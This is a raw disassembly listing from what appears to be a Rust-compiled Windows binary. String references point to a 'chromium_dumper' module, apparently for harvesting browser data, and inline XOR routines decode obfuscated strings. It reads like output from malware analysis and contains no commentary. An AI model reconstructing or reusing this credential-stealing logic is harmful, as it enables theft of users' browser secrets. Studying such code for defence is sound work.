mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], 4
mov r8d, 5
lea r12, [rsp + 0x110]
mov rcx, r12
lea rdx, [0x140446740]
lea r15, [rsp + 0x30]
mov r9, r15
call fcn.140004cc3
mov rcx, r12
call fcn.1402594b0
mov eax, 1
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x1a8]
movups xmmword [rax], xmm6
imul rdi, rsi, 0x70
mov r14, qword [rsp + 0x198]
add rdi, r14
mov rcx, rsi
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
mov rcx, r12
mov rdx, rsi
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rcx, r14
mov rdx, rdi
mov r8, r15
call fcn.140001766
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov eax, 1
mov qword [rsp + 0x20], rax
mov rcx, r12
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rsi, qword [rsp + 0x110]
mov r8, qword [rsp + 0x120]
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14027a491
mov rdx, qword [rsp + 0x118]
mov rcx, rsi
call fcn.14015e77d
mov rcx, r15
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x3e0]
mov r8, qword [rsp + 0x3f0]
lea rcx, [rsp + 0x2c0]
mov rdx, rsi
call fcn.14004b6a0
lea rax, [0x1404441a6]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x4645dd9f075574c
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1401402c3
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140120b61
lea r12, [0x140446990]
movzx r8d, byte [rcx + r12]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r12]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r12]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r12]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r12]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + r12]
mov r14, rcx
or r14, 6
mov r15, rcx
or r15, 7
movzx r14d, byte [r14 + r12]
movzx r15d, byte [r15 + r12]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x140120ab2
mov al, byte [rax + 8]
xor al, 0xc4
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x500], rcx
mov byte [rsp + 0x508], al
lea rax, [rsp + 0x500]
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4a8], 9
lea rax, [0x140441c63]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x7902af9878743fd
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14014024c
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140120c83
lea r12, [0x140446999]
movzx r8d, byte [rcx + r12]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r12]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r12]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r12]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r12]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + r12]
mov r14, rcx
or r14, 6
mov r15, rcx
or r15, 7
movzx r14d, byte [r14 + r12]
movzx r15d, byte [r15 + r12]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x140120bd4
mov ecx, 8
mov rdx, qword [rsp + 0x190]
cmp rcx, 0xb
ja 0x140120cc5
lea r8, [0x140446999]
movzx r9d, byte [rcx + r8 + 2]
shl r9d, 0x10
movzx r8d, word [rcx + r8]
add r8d, r9d
add r8d, 0xbc000000
xor r8d, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], r8d
add rcx, 4
jmp 0x140120c90
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x4c0], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4b8], rax
lea rax, [rsp + 0x4b8]
mov qword [rsp + 0x458], rax
mov qword [rsp + 0x460], 0xc
lea rcx, [rsp + 0x1e0]
mov r8, qword [rsp + 0x1d0]
call fcn.14004b6a0
mov rdi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
lea r15, [rsp + 0x30]
mov rcx, r15
mov rdx, rdi
call fcn.14012ef67
mov rcx, r15
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rdx
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x30], rax
lea rcx, [0x140007e8f]
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x40], rax
lea rdx, [0x140076e7c]
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x340]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
lea rax, [rsp + 0x458]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x20], 6
mov r8d, 6
lea r14, [rsp + 0x110]
mov rcx, r14
lea rdx, [0x140446930]
mov r9, r15
call fcn.140004cc3
lea r12, [rsp + 0x5e0]
mov rcx, r12
mov rdx, r14
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, r12
call fcn.14013bee6
mov rdi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov r14, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
mov rcx, rdi
mov rdx, r14
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x3e8]
mov rcx, rsi
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, r14
call fcn.14015e77d
mov rcx, qword [rsp + 0x588]
lea rdx, [rsp + 0x370]
call fcn.14012fd47
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x1d0]
call fcn.14004b6a0
mov rcx, r15
mov rdx, qword [rsp + 0x1d8]
mov r8, rsi
call fcn.14012fe4b
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012cf3e
mov rdi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
shl r15, 6
lea rcx, [rdi + r15]
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x1b8], rcx
lea rax, [rsp + 0x390]
mov qword [rsp + 0x1c0], rax
lea r14, [rdi + 0x40]
mov r12, rdi
lea rcx, [rsp + 0x1a0]
lea rsi, [rsp + 0x40]
test r15, r15
je 0x14012118d
lea rax, [r14 - 0x40]
cmp qword [rax], 0
je 0x140121197
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], r12
cmp qword [rsp + 0x50], 0
je 0x14012104f
mov qword [rsp + 0x28], r12
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x410], xmm3
movaps xmmword [rsp + 0x400], xmm2
movaps xmmword [rsp + 0x3f0], xmm1
movaps xmmword [rsp + 0x3e0], xmm0
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
lea rdx, [rsp + 0x3e0]
call fcn.140010ab5
lea r12, [rsp + 0x110]
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
call fcn.14000d03f
cmp qword [rsp + 0x110], 0
je 0x14012105c
mov rcx, rsi
lea rdx, [rsp + 0x3e0]
call fcn.140010ab5
mov r8, qword [rsp + 0x390]
mov r9, qword [rsp + 0x3a0]
lea rcx, [rsp + 0x1e0]
mov rdx, rsi
call fcn.14000d03f
mov rcx, r12
call fcn.140005431
jmp 0x140121075
mov rcx, rsi
call fcn.14000639d
jmp 0x140121178
mov ecx, 9
mov rax, rdi
lea rdi, [rsp + 0x1e0]
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov rdi, rax
lea rcx, [rsp + 0x3e0]
call fcn.14000639d
mov rax, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x1f0]
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x110], xmm0
movdqa xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x130], xmm2
mov rcx, qword [rcx + 0x30]
mov qword [rsp + 0x140], rcx
cmp qword [rsp + 0x1e0], 0
lea rsi, [rsp + 0x40]
mov r12, qword [rsp + 0x28]
je 0x1401210ec
lea rcx, [rsp + 0x1e0]
call fcn.140005431
jmp 0x140121178
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x2f0], rcx
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movaps xmm2, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x2e0], xmm2
movdqa xmmword [rsp + 0x2d0], xmm1
movdqa xmmword [rsp + 0x2c0], xmm0
test rax, rax
je 0x140121178
mov qword [r12], rax
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqa xmm1, xmmword [rsp + 0x2d0]
movaps xmm2, xmmword [rsp + 0x2e0]
movdqu xmmword [r12 + 8], xmm0
movdqu xmmword [r12 + 0x18], xmm1
movups xmmword [r12 + 0x28], xmm2
mov rax, qword [rsp + 0x2f0]
mov qword [r12 + 0x38], rax
add r12, 0x40
lea rcx, [rsp + 0x1a0]
add r14, 0x40
add r15, 0xffffffffffffffc0
jmp 0x140120f59
mov r14, qword [rsp + 0x270]
jmp 0x14012119f
lea rcx, [rsp + 0x1a0]
mov qword [rsp + 0x1b0], r14
mov rsi, r12
sub rsi, rdi
shr rsi, 6
mov r14, rcx
call fcn.14013083d
mov qword [rsp + 0x458], rdi
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rsi
mov rcx, r14
call fcn.14013088e
cmp r12, rdi
je 0x1401216e9
add qword [0x140545068], rsi
mov r12, rdi
mov rdi, rsi
shl rdi, 6
add rdi, r12
mov rcx, rsi
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
lea r15, [rsp + 0x110]
mov rcx, r15
mov rdx, rsi
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rcx, r12
mov rdx, rdi
lea r12, [rsp + 0x30]
mov r8, r12
call fcn.140001545
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x340]
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rcx, r12
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
lea rcx, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x1d0]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
mov rcx, r12
mov rdx, rsi
call fcn.14012ef67
mov rcx, r12
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], r14
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, r12
lea rdx, [0x140446248]
mov r9, r15
call fcn.140004cc3
lea r14, [rsp + 0x2c0]
mov rcx, r14
mov rdx, r12
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rsi
call fcn.14015e77d
mov rsi, qword [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x28], rax
mov r8, qword [rsp + 0x2d0]
mov rcx, r14
mov rdx, rsi
call fcn.14004ac70
lea rax, [0x140443606]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe6bb9c1d7185014a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f063
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x1401214b1
lea rdi, [0x140446a08]
movzx r8d, byte [rcx + rdi]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rdi]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rdi]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rdi]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rdi]
mov r14, rcx
or r14, 5
movzx r14d, byte [r14 + rdi]
mov r15, rcx
or r15, 6
mov r12, rcx
or r12, 7
movzx r15d, byte [r15 + rdi]
movzx r12d, byte [r12 + rdi]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, r14
or rdx, r15
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x140121403
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0xb539
mov word [rsp + 0x38], ax
xor cl, 0x24
mov byte [rsp + 0x3a], cl
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4b8], rax
mov eax, dword [rsp + 0x37]
mov dword [rsp + 0x4bf], eax
lea rax, [rsp + 0x4b8]
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4a8], 0xb
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x4a0]
mov qword [rsp + 0x120], rcx
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x130], rcx
mov ecx, 2
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rcx
and qword [rsp + 0x50], 0
mov qword [rsp + 0x138], rax
mov edx, 0x20
mov qword [rsp + 0x58], rdx
mov al, 3
mov byte [rsp + 0x60], al
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], rcx
mov r8d, 1
mov qword [rsp + 0x88], r8
mov qword [rsp + 0x90], rdx
mov byte [rsp + 0x98], al
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rdx
mov byte [rsp + 0xd0], al
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf8], r8
mov qword [rsp + 0x100], rdx
mov byte [rsp + 0x108], al
lea rax, [0x1404467c8]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
lea rax, [rsp + 0x30]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 4
lea rax, [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 3
lea r14, [rsp + 0x1a0]
mov rcx, r14
lea rdx, [rsp + 0x1e0]
call fcn.14012d661
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
call fcn.14015e77d
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
call fcn.14015e77d
mov rcx, r14
call fcn.14013bee6
mov rsi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rdi, qword [rsp + 0x340]
mov r8, qword [rsp + 0x350]
mov rcx, rsi
mov rdx, rdi
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x348]
mov rcx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x580]
lea rsi, [rsp + 0x458]
mov rdx, rsi
call fcn.1401308bb
mov rcx, rsi
call fcn.14011961d
lea rcx, [rsp + 0x370]
call fcn.1401195f3
lea rcx, [rsp + 0x480]
call fcn.140119647
lea rcx, [rsp + 0x3b8]
call fcn.1401195c9
mov rcx, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x2b8]
call fcn.14015e77d
jmp 0x14011ea39
mov rdx, qword [0x1403a0090]
mov r8, qword [0x1403a00a0]
mov rcx, r14
call fcn.14011944f
lea rdx, [rsp + 0x40]
mov rax, qword [rdx - 0x10]
mov rcx, qword [rdx - 8]
imul rdx, qword [rdx], 0x18
add rdx, rax
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x2a0], rdx
mov rax, qword [rsp + 0x1d8]
lea rcx, [rax + 0x90]
mov qword [rsp + 0x3d0], rcx
lea rcx, [rax + 0x48]
mov qword [rsp + 0x4d0], rcx
lea rcx, [rax + 0x60]
mov qword [rsp + 0x588], rcx
add rax, 0x78
mov qword [rsp + 0x580], rax
xorps xmm6, xmm6
lea r12, [0x14044797d]
lea r13, [0x140447989]
lea rbp, [0x140447995]
mov rax, qword [rsp + 0x298]
cmp rax, qword [rsp + 0x2a0]
je 0x140124770
lea rcx, [rax + 0x18]
mov qword [rsp + 0x298], rcx
mov rsi, qword [rax]
test rsi, rsi
je 0x140124770
mov rcx, qword [rax + 8]
mov qword [rsp + 0x2b8], rcx
mov rdi, qword [rax + 0x10]
mov rcx, qword [rsp + 0x3d0]
call fcn.14012d7ca
mov rdx, rsi
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov qword [rsp + 0x1d0], rdx
mov qword [rsp + 0x270], rdi
mov r8, rdi
call fcn.14004b6a0
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x1d8]
mov r8, rsi
call fcn.14012d7de
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012ccb8
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
imul r15, qword [rsp + 0x48], 0x48
lea rcx, [rbx + r15]
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x3b0], rcx
mov qword [rsp + 0x1b8], rcx
lea rdx, [rbx + 0x48]
mov r14, rbx
mov qword [rsp + 0x190], rbx
test r15, r15
je 0x140121ab6
lea rax, [rdx - 0x48]
mov ecx, 9
lea rdi, [rsp + 0x3e0]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x3e0], 0
je 0x140121ad1
mov qword [rsp + 0x28], rdx
mov ecx, 9
lea rdi, [rsp + 0x40]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r14
cmp qword [rsp + 0x80], 0
je 0x140121a28
cmp qword [rsp + 0x50], 0
je 0x140121a28
mov qword [rsp + 0x198], r15
mov ecx, 9
lea rdi, [rsp + 0x2c0]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x110]
call fcn.14004b6a0
mov rdx, qword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x128]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x2f0]
mov rdi, qword [rsp + 0x300]
mov rcx, rdi
call fcn.140289020
mov rbx, rax
mov r15, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], r15
mov qword [rsp + 0x150], rdi
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x110]
xor r8d, r8d
call fcn.14000cec5
mov rsi, qword [rsp + 0x1e0]
test rsi, rsi
je 0x140121a34
lea rax, [rsp + 0x1e8]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x140], xmm3
movaps xmmword [rsp + 0x130], xmm2
movdqa xmmword [rsp + 0x120], xmm1
movdqa xmmword [rsp + 0x110], xmm0
jmp 0x140121a43
lea rcx, [rsp + 0x40]
call fcn.1400064e8
jmp 0x140121aa4
lea rcx, [rsp + 0x1e8]
call fcn.1401180de
xor esi, esi
lea rcx, [rsp + 0x2c0]
call fcn.1400064e8
test rsi, rsi
mov rbx, qword [rsp + 0x190]
mov r15, qword [rsp + 0x198]
je 0x140121aa4
mov qword [r14], rsi
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movaps xmm2, xmmword [rsp + 0x130]
movaps xmm3, xmmword [rsp + 0x140]
movdqu xmmword [r14 + 8], xmm0
movdqu xmmword [r14 + 0x18], xmm1
movups xmmword [r14 + 0x28], xmm2
movups xmmword [r14 + 0x38], xmm3
add r14, 0x48
mov rdx, qword [rsp + 0x28]
add rdx, 0x48
add r15, 0xffffffffffffffb8
jmp 0x1401218c4
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x1b0], rax
and qword [rsp + 0x3e0], 0
jmp 0x140121ad9
mov qword [rsp + 0x1b0], rdx
lea rcx, [rsp + 0x3e0]
call fcn.140130d40
sub r14, rbx
mov rax, r14
xor edx, edx
mov ecx, 0x48
div rcx
mov rsi, rax
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
call fcn.14012e4e6
mov qword [rsp + 0x390], rbx
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x3a0], rsi
mov rcx, rdi
call fcn.14012e540
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x1d8]
mov r8, rsi
call fcn.14012f190
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012cd13
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
imul r8, qword [rsp + 0x48], 0x70
lea rcx, [rbx + r8]
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x3b0], rcx
mov qword [rsp + 0x1b8], rcx
lea r14, [rbx + 0x70]
mov r15, rbx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x190], rbx
test r8, r8
je 0x140121d9d
lea rax, [r14 - 0x70]
mov ecx, 0xe
lea rdi, [rsp + 0x3e0]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x3e0], 0
je 0x140121db8
mov qword [rsp + 0x28], r8
mov ecx, 0xe
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r15
cmp qword [rsp + 0x80], 0
je 0x140121d2b
cmp qword [rsp + 0x50], 0
je 0x140121d2b
mov qword [rsp + 0x198], r15
mov ecx, 0xe
lea rdi, [rsp + 0x2c0]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x110]
call fcn.14004b6a0
mov rdx, qword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x128]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x2f0]
mov rdi, qword [rsp + 0x300]
mov rcx, rdi
call fcn.140289020
mov rbx, rax
mov r15, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], r15
mov qword [rsp + 0x150], rdi
lea rdi, [rsp + 0x110]
mov rdx, qword [rsp + 0x308]
mov r8, qword [rsp + 0x318]
lea rcx, [rsp + 0x158]
call fcn.14004b6a0
movdqu xmm0, xmmword [rsp + 0x320]
movdqu xmmword [rsp + 0x170], xmm0
lea rcx, [rsp + 0x1e0]
mov rdx, rdi
xor r8d, r8d
call fcn.14000d1d0
mov rbx, qword [rsp + 0x1e0]
test rbx, rbx
je 0x140121d3a
mov ecx, 0xd
lea rsi, [rsp + 0x1e8]
rep movsq qword [rdi], qword [rsi]
jmp 0x140121d49
mov rcx, rdx
call fcn.140006433
lea rdx, [rsp + 0x40]
jmp 0x140121d8b
lea rcx, [rsp + 0x1e8]
call fcn.1401180de
xor ebx, ebx
lea rcx, [rsp + 0x2c0]
call fcn.140006433
test rbx, rbx
mov r15, qword [rsp + 0x198]
je 0x140121d7e
mov qword [r15], rbx
lea rdi, [r15 + 8]
mov ecx, 0xd
lea rsi, [rsp + 0x110]
rep movsq qword [rdi], qword [rsi]
add r15, 0x70
lea rdx, [rsp + 0x40]
mov rbx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x28]
add r14, 0x70
add r8, 0xffffffffffffff90
jmp 0x140121bc2
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x1b0], rax
and qword [rsp + 0x3e0], 0
jmp 0x140121dc0
mov qword [rsp + 0x1b0], r14
lea rcx, [rsp + 0x3e0]
call fcn.140130d4b
sub r15, rbx
mov rax, r15
xor edx, edx
mov ecx, 0x70
div rcx
mov rsi, rax
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
call fcn.14012fcb6
mov qword [rsp + 0x3b8], rbx
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x3c0], rax
mov qword [rsp + 0x3c8], rsi
mov rcx, rdi
call fcn.14012fd10
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x1d8]
mov r8, rsi
call fcn.14012fe4b
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012cd5e
mov r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
shl rsi, 6
lea rcx, [r15 + rsi]
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x3b0], rcx
mov qword [rsp + 0x1b8], rcx
lea rdi, [r15 + 0x40]
mov qword [rsp + 0x190], r15
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1401220de
lea rax, [rdi - 0x40]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movdqa xmmword [rsp + 0x3e0], xmm0
movaps xmmword [rsp + 0x410], xmm3
movaps xmmword [rsp + 0x400], xmm2
movdqa xmmword [rsp + 0x3f0], xmm1
